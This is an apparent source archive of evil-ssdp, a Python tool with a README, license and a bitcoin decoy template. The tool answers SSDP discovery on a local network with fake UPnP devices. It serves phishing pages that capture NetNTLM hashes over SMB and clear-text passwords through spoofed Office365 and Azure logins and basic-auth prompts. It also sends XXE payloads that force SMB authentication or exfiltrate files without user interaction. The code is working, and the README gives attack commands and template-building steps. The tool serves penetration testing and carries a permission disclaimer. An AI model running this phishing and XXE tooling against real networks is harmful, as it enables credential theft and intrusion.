pax_global_header00006660000000000000000000000064133773575350014534gustar00rootroot0000000000000052 comment=dc752771ddcf95f2248ac233b8ac79df61bd76fa evil-ssdp-08.-beta/000077500000000000000000000000001337735753500142225ustar00rootroot00000000000000evil-ssdp-08.-beta/.gitignore000066400000000000000000000000171337735753500162100ustar00rootroot00000000000000logs-essdp.txt evil-ssdp-08.-beta/CONTRIBUTING.md000066400000000000000000000020131337735753500164470ustar00rootroot00000000000000# Contributing Guidelines Thank you so much for thinking about contributing! There are a few ways you can help, if you're so inclined: - Open up an issue on here if you notice something odd. - Submit a feature request if you think the tool should be doing something additional. - Submit bug fixes or streamlime the existing code. I'd like to keep the tool pretty straightforward, so that it does one thing and does it well. Before you spend a lot of time re-writing something massive, it might be worth contacting me first just to make sure I'm not in the middle of a conflicting re-write. You can open an issue or try me at protonmail. I may redirect commits to the dev branch for some burning in before pushing to master. If there is any type of credit of special handling you'd like with your contribution, please let me know and I will do my best to oblige. Some info on contributing code: - Python 3, without maintaining backwards support for Python 2 - Run through pylint for best-effort PEP8 Thanks for reading! evil-ssdp-08.-beta/LICENSE000066400000000000000000000020531337735753500152270ustar00rootroot00000000000000MIT License Copyright (c) 2018 InitString Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. evil-ssdp-08.-beta/README.md000066400000000000000000000345711337735753500155130ustar00rootroot00000000000000# Overview This tool responds to SSDP multicast discover requests, posing as a generic UPNP device. Your spoofed device will magically appear in Windows Explorer on machines in your local network. Users who are tempted to open the device are shown a configurable phishing page. This page can load a hidden image over SMB, allowing you to capture or relay the NetNTLM challenge/response. Templates are also provided to capture clear-text credentials via basic authentication and logon forms, and creating your own custom templates is quick and easy. This requires no existing credentials to execute and works even on networks that have protected against Responder attacks by disabling NETBIOS and LLMNR. Any Operating System or application leveraging SSDP/UPNP can be targeted, but most of the current weaponization has been aimed at Windows 10. ![Phishing Overview](https://filedn.com/lawDInIqGS3h9zy6QM1YNQQ/essdp-phishing.mp4) As a bonus, this tool can also detect and exploit potential zero-day vulnerabilities in the XML parsing engines of applications using SSDP/UPNP. If a vulnerable device is found, it will alert you in the UI and then mount your SMB share or exfiltrate data with NO USER INTERACTION REQUIRED via an XML External Entity (XXE) attack. ![0-Day Overview](https://filedn.com/lawDInIqGS3h9zy6QM1YNQQ/essdp-0days.mp4) # Usage The most basic run looks like this: ``` evil_ssdp.py eth0 ``` You need to provide the network interface at a minimum. The interface is used for both the UDP SSDP interaction as well as hosting a web server for the XML files and phishing page. The tool will automatically update an IMG tag in the phishing page using the IP of the interface you provide. To work with challenge/response, you'll need to launch an SMB server at that interface (like Impacket). This address can be customized with the `-s` option. Some example scenarios: ``` # Use wlan0 for device advertisement and phishing, capturing NetNTLM and # asking for clear-text via a spoofed Office365 logon form. Redirect to # Microsoft aftering capturing credentials: evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' # Same as above, but assuming your SMB server is running on another IP: evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \ -s 192.168.1.205 # Prompt for creds using basic auth and redirect to Azure: evil_ssdp.py wlan0 -t microsoft-azure -u \ 'https://azure.microsoft.com/auth/signin/' -b # Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running on wlan0: evil_ssdp.py wlan0 -t xxe-smb ``` Full usage details: ``` usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM] [-u URL] interface positional arguments: interface Network interface to listen on. optional arguments: -h, --help show this help message and exit -p PORT, --port PORT Port for HTTP server. Defaults to 8888. -t TEMPLATE, --template TEMPLATE Name of a folder in the templates directory. Defaults to "office365". This will determine xml and phishing pages used. -s SMB, --smb SMB IP address of your SMB server. Defalts to the primary address of the "interface" provided. -b, --basic Enable base64 authentication for templates and write credentials to log file. -r REALM, --realm REALM Realm when prompting target for authentication via Basic Auth. -u URL, --url URL Redirect to this URL. Works with templates that do a POST for logon forms and with templates that include the custom redirect JavaScript (see README for more info).[example: -r https://google.com] -a, --analyze Run in analyze mode. Will NOT respond to any SSDP queries, but will still enable and run the web server for testing. ``` # Templates The following templates come with the tool. If you have good design skills, please contribute one of your own! - `office365`: Will show up in Windows Explorer as "Office365 Backups". Phishing page looking like Office365 logon will POST credentials back to you. These will be flagged in the UI and logged in the log file. Recommend to run with '-u https://www.office.com' to redirect users to the legit site after stealing their credentials. Developer: [pentestgeek](https://github.com/pentestgeek/phishing-frenzy-templates). - `scanner`: Will show up in Windows Explorer as a scanner with the name "Corporate Scanner [3 NEW SCANS WAITING]". Double-clicking will bring to a generic looking logon page. This template would do well with customization for your particular target. Template mostly copied from [this template](http://codepen.io/miroot/pen/qwIgC). - `microsft-azure`: Will appear in Windows Explorer as "Microsoft Azure Storage". Landing page is the Windows Live login page when cookies are disabled. Recommend to use with the -u option to redirect users to real login page. Developer: [Dwight Hohnstein](https://github.com/djhohnstein). - `bitcoin`: Will show up in Windows Explorer as "Bitcoin Wallet". Phishing page is just a random set of Bitcoin private/public/address info. There are no actual funds in these accounts. - `password-vault`: Will show up in Windows Explorer as "IT Password Vault". Phishing page contains a short list of fake passwords / ssh keys / etc. - `xxe-smb`: Will not likely show up in Windows Explorer. Used for finding zero day vulnerabilities in XML parsers. Will trigger an "XXE - VULN" alert in the UI for hits and will attempt to force clients to authenticate with the SMB server, with 0 interaction. - `xxe-exfil`: Another example of searching for XXE vulnerabilities, but this time attempting to exfiltrate a test file from a Windows host. Of course you can customize this to look for whatever specific file you are after, Windows or Linux. In the vulnerable applications I've discovered, exfiltration works only on a file with no whitepace or linebreaks. This is due to how it is injected into the URL of a GET request. If you get this working on multi-line files, PLEASE let me know how you did it. Creating your own templates is easy. Simply copy the folder of an existing template and edit the following files: - `device.xml`: Here is where you will define what the device looks like inside Windows Explorer. - `present.html`: This is the phishing page displayed when a target opens the evil device. Craft anything you like here. Note that Python's string template will parse this, so you will need to use `$$` in place of `$` anywhere to escape the template engine. - `service.xml`: Not yet implemented. May be needed for more complex UPNP spoofing in the future. In your phishing page (`present.html`), use variables like the following for additional functionality: ``` # The following line will initiate a NetNTLM challenge/response using the IP # address of either the interface you provide or an optionally specified IP # address: # The following will leverage optionally specified URL redirection. This is # handy when used with basic authentication to redirect to a valid site. This # line is built in to the microsoft-azure template: # If using an HTTP form to capture clear-text credentials, use code like the # following. Also any template doing a POST request will automatically # support the '-u' parameter to redirect after the POST completes. The tool # will monitor POSTs to this URL for credentials:
``` The tool currently only correctly creates devices for the UPNP 'Basic' device type, although it is responding to the SSDP queries for all devices types. If you know UPNP well, you can create a new template with the correct parameters to fufill requests for other device types as well. There is still a lot to explore here with exploiting specific applications and the way they expect and leverage UPNP devices. # Technical Details Simple Service Discovery Protocol (SSDP) is used by Operating Systems (Windows, MacOS, Linux, IOS, Android, etc) and applications (Spotify, Youtube, etc) to discover shared devices on a local network. It is the foundation for discovering and advertising Universal Plug & Play (UPNP) devices. Devices attempting to discover shared network resources will send a UDP multicast out to 239.255.255.250 on port 1900. The source port is randomized. An example request looks like this: ``` M-SEARCH * HTTP/1.1 Host: 239.255.255.250:1900 ST: upnp:rootdevice Man: "ssdp:discover" MX: 3 ``` To interact with this host, we need to capture both the source port and the 'ST' (Service Type) header. The response MUST be sent to the correct source port and SHOULD include the correct ST header. Note that it is not just the Windows OS looking for devices - scanning a typical network will show a large amount of requests from applications inside the OS (like Spotify), mobile phones, and other media devices. Windows will only play ball if you reply with the correct ST, other sources are more lenient. evil_ssdp will extract the requested ST and send a reponse like the following: ``` HTTP/1.1 200 OK CACHE-CONTROL: max-age=1800 DATE: Tue, 16 Oct 2018 20:17:12 GMT EXT: LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01 01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c SERVER: UPnP/1.0 ST: upnp:rootdevice USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice BOOTID.UPNP.ORG: 0 CONFIGID.UPNP.ORG: 1 ``` The headers (specifically LOCATION, 01-NLS, ST, and USN) are constructed dynamically. This tells the requestor where to find more information about our device. Here, we are forcing Windows (and other requestors) to access our 'Device Descriptor' xml file and parse it. The USN is just a random string and needs only to be unique and formatted properly. evil_ssdp will pull the 'device.xml' file from the chosen templates folder and dynamically plug in some variables such as your IP address. This 'Device Descriptor' file is where you can customize some juicy-sounding friendly names and descriptions. It looks like this: ``` 1 0 http://$local_ip:$local_port http://$local_ip:$local_port/present.html urn:schemas-upnp-org:device:Basic:1 Office365 Backups Secure Storage for Office365 MS Office Office 365 Backups $session_usn urn:schemas-upnp-org:device:Basic:1 urn:schemas-upnp-org:device:Basic /ssdp/service-desc.xml /ssdp/service-desc.xml /ssdp/service-desc.xml ``` A key line in this file contains the 'Presentation URL'. This is what will load in a user's browser if they decide to manually double-click on the UPNP device. evil_ssdp will host this file automatically (present.html from the chosen template folder), plugging in your source IP address into an IMG tag to access an SMB share that you can host with tools like [Impacket](https://www.coresecurity.com/corelabs-research/open-source-tools/impacket), [Responder](https://github.com/SpiderLabs/Responder), or [Metasploit](https://www.rapid7.com/db/modules/auxiliary/server/capture/smb). The IMG tage looks like this: ```
``` # Zero-Day Hunting By default, this tool essentially forces devices on the network to parse an XML file. A well-known attack against applications that parse XML exists - [XML External Entity Processing (XXE)](https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing). This type of attack against UPNP devices in likely overlooked - simply because the attack method is complex and not readily apparent. However, evil_ssdp makes it very easy to test for vulnerable devices on your network. Simply run the tool and look for a big `[XXE VULN!!!]` in the output. NOTE: using the xxe template will likely not spawn visibile evil devices across the LAN, it is meant only for zero-interaction scenarios. This is accomplished by providing a Device Descriptor XML file with the following content: ``` ]> &xxe;&xxe-url; ``` When a vulnerable XML parser reads this file, it will automatically mount the SMB share (allowing you to crack the hash or relay) as well as access an HTTP URL to notify you it was discovered. The notification will contain the HTTP headers and an IP address, which should give you some info on the vulnerable application. If you see this, please do contact the vendor to fix the issue. Also, I would love to hear about any zero days you find using the tool. And please do mention the tool in your CVE. # Thanks - Thanks to ZeWarren and his project [here](https://github.com/ZeWaren/python-upnp-ssdp-example). I used this extensively to understand how to get the basics for SSDP working. - Thanks to the pentest geek and their phishing templates [here](https://github.com/pentestgeek/phishing-frenzy-templates). I used the Office365 login page from there. - Thanks to [Dwight Hohnstein](https://github.com/djhohnstein) for his great work to implement cool features like basic authentication, realm support, and automatic redirection in evil_ssdp. He kindly wrote and provided code to make this work. - Thanks to the following folks for submitting bugfixes: - Nadar, Ender Akbas, bubbleguuum Also thanks to Microsoft for developing lots of fun insecure things to play with. *This is a security research tool. Use only where granted explicit permission from the network owner.* evil-ssdp-08.-beta/evil_ssdp.py000077500000000000000000000650101337735753500165710ustar00rootroot00000000000000#!/usr/bin/env python3 """ evil-ssdp by initstring (gitlab.com/initstring) This tool is used to respond to SSDP queries on a LAN, creating fake UPNP devices that appear in Windows Explorer and inside various applications. There are multiple use cases, but the primary ideas are: * Trick users into visiting malicious sites, grabbing NetNTLM challenge/response or clear-text credentials. * Exploit 0-day vulnerabilities in the XML parsing engines of applications. Several CVEs have come of this, including Plex and Vuze. """ try: from multiprocessing import Process from string import Template from http.server import BaseHTTPRequestHandler, HTTPServer from socketserver import ThreadingMixIn from email.utils import formatdate from ipaddress import ip_address import sys import os import re import argparse import socket import struct import signal import base64 import random except ImportError: print("\nError importing required modules... Are you using Python3?\n" "...you should be.\n") sys.exit(1) BANNER = r''' ___________ .__.__ _________ _________________ __________ \_ _____/__ _|__| | / _____// _____/\______ \\______ \ | __)_\ \/ / | | \_____ \ \_____ \ | | \| ___/ | \\ /| | |__/ \/ \ | ` \ | /_______ / \_/ |__|____/_______ /_______ //_______ /____| \/ \/ \/ \/ ...by initstring (gitlab.com/initstring) Additional contributors: Dwight Hohnstein ''' print(BANNER) if sys.version_info < (3, 0): print("\nSorry mate, you'll need to use Python 3+ on this one...\n") sys.exit(1) class PC: """PC (Print Color) Used to generate some colorful, relevant, nicely formatted status messages. """ green = '\033[92m' blue = '\033[94m' orange = '\033[93m' red = '\033[91m' endc = '\033[0m' ok_box = blue + '[*] ' + endc note_box = green + '[+] ' + endc warn_box = orange + '[!] ' + endc msearch_box = blue + '[M-SEARCH] ' + endc xml_box = green + '[XML REQUEST] ' + endc phish_box = red + '[PHISH HOOKED] ' + endc creds_box = red + '[CREDS GIVEN] ' + endc xxe_box = red + '[XXE VULN!!!!] ' + endc exfil_box = red + '[EXFILTRATION] ' + endc detect_box = orange + '[DETECTION] ' + endc class SSDPListener: """UDP multicast listener for SSDP queries This class object will bind to the SSDP-spec defined multicast address and port. We can then receive data from this object, which will be capturing the UDP multicast traffic on a local network. Processing is handled in the main() function below. """ def __init__(self, local_ip, local_port, analyze): self.sock = None self.known_hosts = [] self.local_ip = local_ip self.local_port = local_port self.analyze_mode = analyze ssdp_port = 1900 # Defined by SSDP spec, do not change mcast_group = '239.255.255.250' # Defined by SSDP spec, do not change server_address = ('', ssdp_port) # The re below can help us identify obviously false requests # from detection tools. self.valid_st = re.compile(r'^[a-zA-Z0-9.\-_]+:[a-zA-Z0-9.\-_:]+$') # Generating a new unique USD/UUID may help prevent signature-like # detection tools. self.session_usn = ('uuid:' + self.gen_random(8) + '-' + self.gen_random(4) + '-' + self.gen_random(4) + '-' + self.gen_random(4) + '-' + self.gen_random(12)) # Create the socket self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # Bind to the server address self.sock.bind(server_address) # Tell the operating system to add the socket to # the multicast group on for the interface on the specific IP. group = socket.inet_aton(mcast_group) mreq = struct.pack('4s4s', group, socket.inet_aton(self.local_ip)) self.sock.setsockopt( socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) @staticmethod def gen_random(length): """Generates random hex strings""" chars = 'abcdef' digits = '0123456789' value = ''.join(random.choices(chars + digits, k=length)) return value def send_location(self, address, requested_st): """ This function replies back to clients letting them know where they can access more information about our device. The keys here are the 'LOCATION' header and the 'ST' header. When a client receives this information back on the port they initiated a discover from, they will go to that location and parse the XML file. """ url = 'http://{}:{}/ssdp/device-desc.xml'.format(self.local_ip, self.local_port) date_format = formatdate(timeval=None, localtime=False, usegmt=True) ssdp_reply = ('HTTP/1.1 200 OK\r\n' 'CACHE-CONTROL: max-age=1800\r\n' 'DATE: {}\r\n' 'EXT:\r\n' 'LOCATION: {}\r\n' 'OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n' '01-NLS: {}\r\n' 'SERVER: UPnP/1.0\r\n' 'ST: {}\r\n' 'USN: {}::{}\r\n' 'BOOTID.UPNP.ORG: 0\r\n' 'CONFIGID.UPNP.ORG: 1\r\n' '\r\n\r\n' .format(date_format, url, self.session_usn, requested_st, self.session_usn, requested_st)) ssdp_reply = bytes(ssdp_reply, 'utf-8') self.sock.sendto(ssdp_reply, address) def process_data(self, data, address): """ This function parses the raw data received on the SSDPListener class object. If the M-SEARCH header is found, it will look for the specific 'Service Type' (ST) being requested and call the function to reply back, telling the client that we have the device type they are looking for. The function will log the first time a client does a specific type of M-SEARCH - after that it will be silent. This keeps the output more readable, as clients can get chatty. """ remote_ip = address[0] header_st = re.findall(r'(?i)\\r\\nST:(.*?)\\r\\n', str(data)) if 'M-SEARCH' in str(data) and header_st: requested_st = header_st[0].strip() if re.match(self.valid_st, requested_st): if (address[0], requested_st) not in self.known_hosts: print(PC.msearch_box + "New Host {}, Service Type: {}" .format(remote_ip, requested_st)) self.known_hosts.append((address[0], requested_st)) if not self.analyze_mode: self.send_location(address, requested_st) else: print(PC.detect_box + "Odd ST ({}) from {}. Possible" "detection tool!".format(requested_st, remote_ip)) class MultiThreadedHTTPServer(ThreadingMixIn, HTTPServer): """Multi-threaded server class Setting up this definition allows us to serve multiple HTTP requests in parallel. Without this, a client device may hang the HTTP server, blocking other devices from properly accessing and parsing the XML files. """ pass def build_class(upnp_args): """ Python3 documentation states to avoid __init__ in BaseHTTPRequestHandler sub class. Because of this, we are building the class inside a function. Each request will instantiate a new UPNPObject class object. """ template_dir = upnp_args['template_dir'] session_usn = upnp_args['session_usn'] smb_server = upnp_args['smb_server'] redirect_url = upnp_args['redirect_url'] is_auth = upnp_args['is_auth'] realm = upnp_args['realm'] local_ip = upnp_args['local_ip'] local_port = upnp_args['local_port'] class UPNPObject(BaseHTTPRequestHandler): """Spoofed UPnP object This class contains all the objects and actions required for a spoofed UPNP device. Device files will be built on the fly using variables passed in at command execution. Logging functions are overwritten to print relevant information to the console and log file. Any requests to the HTTP server other than those defined will be given the phishing page. The phishing page can optionally request an interactive logon if the "-b / --basic" has been specified. The phishing page the devices SHOULD be requesting is 'present.html' but we will serve it to all requests, in case a curious users sees the reference and browses there manually. """ @staticmethod def build_device_xml(): """ Builds the device descriptor XML file. """ variables = {'local_ip': local_ip, 'local_port': local_port, 'smb_server': smb_server, 'session_usn': session_usn} file_in = open(template_dir + '/device.xml') template = Template(file_in.read()) xml_file = template.substitute(variables) return xml_file @staticmethod def build_service_xml(): """ Builds the service descriptor XML file. ***Not yet implemented in evil-ssdp*** """ if 'service.xml' in template_dir: variables = {'local_ip': local_ip, 'local_port': local_port} file_in = open(template_dir + '/service.xml') template = Template(file_in.read()) xml_file = template.substitute(variables) else: xml_file = '.' return xml_file @staticmethod def build_phish_html(): """ Builds the phishing page served when users open up an evil device. """ variables = {'smb_server': smb_server, 'redirect_url': redirect_url} file_in = open(template_dir + '/present.html') template = Template(file_in.read()) phish_page = template.substitute(variables) return phish_page @staticmethod def build_exfil_dtd(): """ Builds the required page for data exfiltration when used with the xxe-exfil template. """ if 'xxe-exfil' in template_dir: variables = {'local_ip': local_ip, 'local_port': local_port} file_in = open(template_dir + '/data.dtd') template = Template(file_in.read()) exfil_page = template.substitute(variables) else: exfil_page = '.' return exfil_page def handle(self): """ Overriding this specifically to catch closed connection exceptions. """ try: BaseHTTPRequestHandler.handle(self) except socket.error: print(PC.detect_box + "{} connected but did not complete a" " valid HTTP verb. This is sometimes indicitive of a" " port scan or a detection tool." .format(self.address_string())) def do_GET(self): """ Handles all GET requests. Overwrites super class. """ if self.path == '/ssdp/device-desc.xml': # Parsed automatically by all SSDP apps self.send_response(200) self.send_header('Content-type', 'application/xml') self.end_headers() self.wfile.write(self.build_device_xml().encode()) elif self.path == '/ssdp/service-desc.xml': # Not yet implemented self.send_response(200) self.send_header('Content-type', 'application/xml') self.end_headers() self.wfile.write(self.build_service_xml().encode()) elif self.path == '/ssdp/xxe.html': # Access indicates XXE vulnerability self.send_response(200) self.send_header('Content-type', 'application/xml') self.end_headers() self.wfile.write('.'.encode()) elif self.path == '/ssdp/data.dtd': # Used for XXE exploitation self.send_response(200) self.send_header('Content-type', 'application/xml') self.end_headers() self.wfile.write(self.build_exfil_dtd().encode()) elif self.path == '/favicon.ico': self.send_response(404) self.wfile.write('Not found.'.encode()) else: if is_auth: # If user enables -b/--basic in CLI args if 'Authorization' not in self.headers: # If creds not given, ask for them self.process_authentication() self.wfile.write("Unauthorized.".encode()) elif 'Basic ' in self.headers['Authorization']: # Return phishing page after getting creds self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(self.build_phish_html().encode()) else: self.send_response(500) self.wfile.write("Something happened.".encode()) elif self.path == '/present.html': self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(self.build_phish_html().encode()) else: # Return phishing page for everything else self.send_response(301) self.send_header('Location', '/present.html') self.end_headers() def do_POST(self): """ Handles all POST requests. Overwrites super class. We generally only get POSTs to evil-ssdp when using templates that contain a logon prompt - phishing for clear-text credentials. It's probably best to use these with the '-u' parameter to redirect to a legit URL after POSTing. Otherwise, we will simply refresh the page. """ if self.path == '/ssdp/do_login.html': self.send_response(301) if redirect_url: self.send_header('Location', '{}'.format(redirect_url)) else: self.send_header('Location', 'http://{}:{}/present.html' .format(local_ip, local_port)) self.end_headers() def process_authentication(self): """ Will prompt user for credentials, causing execution to go back to the do_GET funtion for further processing. """ self.send_response(401) self.send_header('WWW-Authenticate', 'Basic realm=\"{}\"' .format(realm)) self.send_header('Content-type', 'text/html') self.end_headers() @staticmethod def write_log(data): """ Will append important info to a log file. This includes credentials given via basic auth as well as XXE vulnerabilities. """ with open('logs-essdp.txt', 'a') as log_file: time_stamp = formatdate(timeval=None, localtime=True, usegmt=False) log_file.write(time_stamp + ": " + data + "\n") log_file.close() def log_message(self, format, *args): """ Overwriting the built in function to provide useful feedback inside the text UI. Providing the 'User Agent' is helpful in understanding the types of devices that are interacting with evil-ssdp. The most important stuff (credentials submitted and XXE vulns) are logged to a text file in the working directory. """ address = self.address_string() agent = self.headers['user-agent'] verb = self.command path = self.path if 'xml' in self.path: print(PC.xml_box + "Host: {}, User-Agent: {}" .format(address, agent)) print(" {} {}".format(verb, path)) elif 'xxe.html' in self.path: data = PC.xxe_box + "Host: {}, User-Agent: {}\n".format( address, agent) data += " {} {}".format(verb, path) print(data) self.write_log(data) elif 'do_login' in self.path: content_length = int(self.headers['Content-Length']) post_body = self.rfile.read(content_length) credentials = post_body.decode('utf-8') data = PC.creds_box + "HOST: {}, FORM-POST CREDS: {}".format( address, credentials) print(data) self.write_log(data) elif 'data.dtd' in self.path: data = PC.xxe_box + "Host: {}, User-Agent: {}\n".format( address, agent) data += " {} {}".format(verb, path) print(data) self.write_log(data) elif 'exfiltrated' in self.path: data = PC.exfil_box + "Host: {}, User-Agent: {}\n".format( address, agent) data += " {} {}".format(verb, path) print(data) self.write_log(data) elif 'present.html' in self.path: print(PC.phish_box + "Host: {}, User-Agent: {}".format( address, agent)) print(" {} {}".format(verb, path)) elif 'favicon.ico' in self.path: return else: print(PC.detect_box + "Odd HTTP request from Host: {}, User" " Agent: {}".format(address, agent)) print(" {} {}".format(verb, path)) print(" ... sending to phishing page.") if 'Authorization' in self.headers: encoded = self.headers['Authorization'].split(" ")[1] plaintext = base64.b64decode(encoded).decode() data = PC.creds_box + "HOST: {}, BASIC-AUTH CREDS: {}".format( address, plaintext) print(data) self.write_log(data) return UPNPObject def process_args(): """Handles user-passed parameters""" parser = argparse.ArgumentParser() parser.add_argument('interface', type=str, action='store', help='Network interface to listen on.') parser.add_argument('-p', '--port', type=str, action='store', default=8888, help='Port for HTTP server. Defaults to 8888.') parser.add_argument('-t', '--template', type=str, action='store', default='office365', help=('Name of a folder in the templates directory. ' 'Defaults to "office365". This will determine ' 'xml and phishing pages used.')) parser.add_argument('-s', '--smb', type=str, action='store', help=('IP address of your SMB server. Defalts to the ' 'primary address of the "interface" provided.')) parser.add_argument('-b', '--basic', action="store_true", default=False, help=('Enable base64 authentication for templates and ' 'write credentials to log file.')) parser.add_argument("-r", "--realm", type=str, action='store', default='Microsoft Corporation', help='Realm when prompting target for authentication ' 'via Basic Auth.') parser.add_argument("-u", "--url", type=str, default='', help=('Redirect to this URL. Works with templates ' 'that do a POST for logon forms and with ' 'templates that include the custom redirect ' 'JavaScript (see README for more info).' '[example: -r https://google.com]')) parser.add_argument("-a", "--analyze", action="store_true", default=False, help=('Run in analyze mode. Will NOT respond to any' ' SSDP queries, but will still enable and run' ' the web server for testing.')) args = parser.parse_args() # The following two lines help to avoid command injection in bash. # Pretty damn unlikely scenario for this tool, but who knows. char_whitelist = re.compile('[^a-zA-Z0-9 ._-]') args.interface = char_whitelist.sub('', args.interface) args.local_port = int(args.port) args.template_dir = (os.path.dirname(os.path.abspath(__file__)) + '/templates/' + args.template) args.is_auth = args.basic args.realm = args.realm args.redirect_url = args.url if not os.path.isdir(args.template_dir): print("\nSorry, that template directory does not exist. " "Please double-check and try again.\n") sys.exit() return args def get_ip(args): """ This function will attempt to automatically get the IP address of the provided interface. This is used for serving the XML files and also for the SMB pointer, if not specified. """ ip_regex = r'inet (?:addr:)?(.*?) ' sys_ifconfig = os.popen('ifconfig ' + args.interface).read() local_ip = re.findall(ip_regex, sys_ifconfig) try: return local_ip[0] except IndexError: print(PC.warn_box + "Could not get network interface info. " "Please check and try again.") sys.exit() def set_smb(args, local_ip): """ This function sets the IP address of the SMB server that will be used in the phishing page. evil-ssdp does not provide an SMB server itself - it only points somewhere. You must host your own SMB server with something like Impacket. """ if args.smb: if ip_address(args.smb): smb_server = args.smb else: print("Sorry, that is not a valid IP address for your SMB server.") sys.exit() else: smb_server = local_ip return smb_server def print_details(args, local_ip, smb_server): """ Prints a banner at runtime, informing the user of relevant details. """ dev_url = 'http://{}:{}/ssdp/device-desc.xml'.format( local_ip, args.local_port) srv_url = 'http://{}:{}/ssdp/service-desc.xml'.format( local_ip, args.local_port) phish_url = 'http://{}:{}/ssdp/present.html'.format( local_ip, args.local_port) exfil_url = 'http://{}:{}/ssdp/data.dtd'.format(local_ip, args.local_port) smb_url = 'file://///{}/smb/hash.jpg'.format(smb_server) print("\n\n") print("########################################") print(PC.ok_box + "EVIL TEMPLATE: {}".format(args.template_dir)) print(PC.ok_box + "MSEARCH LISTENER: {}".format(args.interface)) print(PC.ok_box + "DEVICE DESCRIPTOR: {}".format(dev_url)) print(PC.ok_box + "SERVICE DESCRIPTOR: {}".format(srv_url)) print(PC.ok_box + "PHISHING PAGE: {}".format(phish_url)) if args.redirect_url: print(PC.ok_box + "REDIRECT URL: {}".format( args.redirect_url)) if args.is_auth: print(PC.ok_box + "AUTH ENABLED, REALM: {}".format(args.realm)) if 'xxe-exfil' in args.template_dir: print(PC.ok_box + "EXFIL PAGE: {}".format(exfil_url)) else: print(PC.ok_box + "SMB POINTER: {}".format(smb_url)) if args.analyze: print(PC.warn_box + "ANALYZE MODE: ENABLED") print("########################################") print("\n\n") def listen_msearch(listener): """ Starts the listener object, receiving and processing UDP multicasts. """ while True: data, address = listener.sock.recvfrom(1024) listener.process_data(data, address) def serve_html(local_ip, local_port, upnp): """ Starts the web server for delivering XML files and the phishing page. """ MultiThreadedHTTPServer.allow_reuse_address = True upnp_server = MultiThreadedHTTPServer((local_ip, local_port), upnp) upnp_server.serve_forever() def main(): """Main program function Uses Process to multi-thread the SSDP server and the web server. """ args = process_args() local_ip = get_ip(args) smb_server = set_smb(args, local_ip) listener = SSDPListener(local_ip, args.local_port, args.analyze) ssdp_server = Process(target=listen_msearch, args=(listener,)) upnp_args = {'template_dir':args.template_dir, 'session_usn':listener.session_usn, 'smb_server':smb_server, 'redirect_url':args.redirect_url, 'is_auth':args.is_auth, 'local_ip':local_ip, 'realm':args.realm, 'local_port':args.local_port} upnp = build_class(upnp_args) web_server = Process(target=serve_html, args=(local_ip, args.local_port, upnp)) print_details(args, local_ip, smb_server) try: ssdp_server.start() web_server.start() signal.pause() except (KeyboardInterrupt, SystemExit): print("\n" + PC.warn_box + "Thanks for playing! Stopping threads and exiting...\n") web_server.terminate() ssdp_server.terminate() sys.exit() if __name__ == "__main__": main() evil-ssdp-08.-beta/templates/000077500000000000000000000000001337735753500162205ustar00rootroot00000000000000evil-ssdp-08.-beta/templates/bitcoin/000077500000000000000000000000001337735753500176475ustar00rootroot00000000000000evil-ssdp-08.-beta/templates/bitcoin/device.xml000066400000000000000000000017021337735753500216300ustar00rootroot00000000000000 1 0 http://$local_ip:$local_port http://$local_ip:$local_port/present.html urn:schemas-upnp-org:device:Basic:1 Bitcoin Wallet Bitcoin Password Storage Bitcoin.org Core $session_usn urn:schemas-upnp-org:device:Basic:1 urn:schemas-upnp-org:device:Basic /ssdp/service-desc.xml /ssdp/service-desc.xml /ssdp/service-desc.xml evil-ssdp-08.-beta/templates/bitcoin/present.html000066400000000000000000000022201337735753500222110ustar00rootroot00000000000000ECDSA private key (random number / secret exponent)
6024ecbc7770210b773e2c4d94c329cd7422786a045cdeef985a44d7f5a38840
Bitcoin private key (Base58Check, uncompressed)
5JYdTTeC8sk2E6P1NZX7jxgFhfyQ1ciFnUmZcUUssCBhxmjbRkW
Bitcoin extended private key (Base58Check)
xprv9s21ZrQH143K4PhdJxVhvKqDnu19eMmUmrX9kDzenqj7p9CA7UAfnjoThXa2qxAT43PKxyEeYmrBSVmoDNLVTPCacdAGihdUeCTSKssEvNj
(embedded private key) -> KxuViUixybJGJrKWyNoFYRbb3PN1RCgfm9uRR1w5ZwppvzusBz8p
------
ECDSA public key (uncompressed)
047fbaa4bf893ff3949dd11a513ae57f7baa495d64a714db7d75e66e14a443f4c0ba98a5e455991013527c9b4ab4b81bf2f252b2becedf753df8d3312355788d1d
Bitcoin Address (uncompressed, length=34):
1ECvucAvoPe5FSNLUnJCh53qpZPbywH9et
Bitcoin extended public key
xpub661MyMwAqRbcGsn6Qz2iHTmxLvqe3pVL95SkYcQGMBG6gwXJf1UvLY7wYpyC8rqLRDdpyxWoWrFGiCQwNDuAXiForSCYoAZwo21dn7w1Cb1
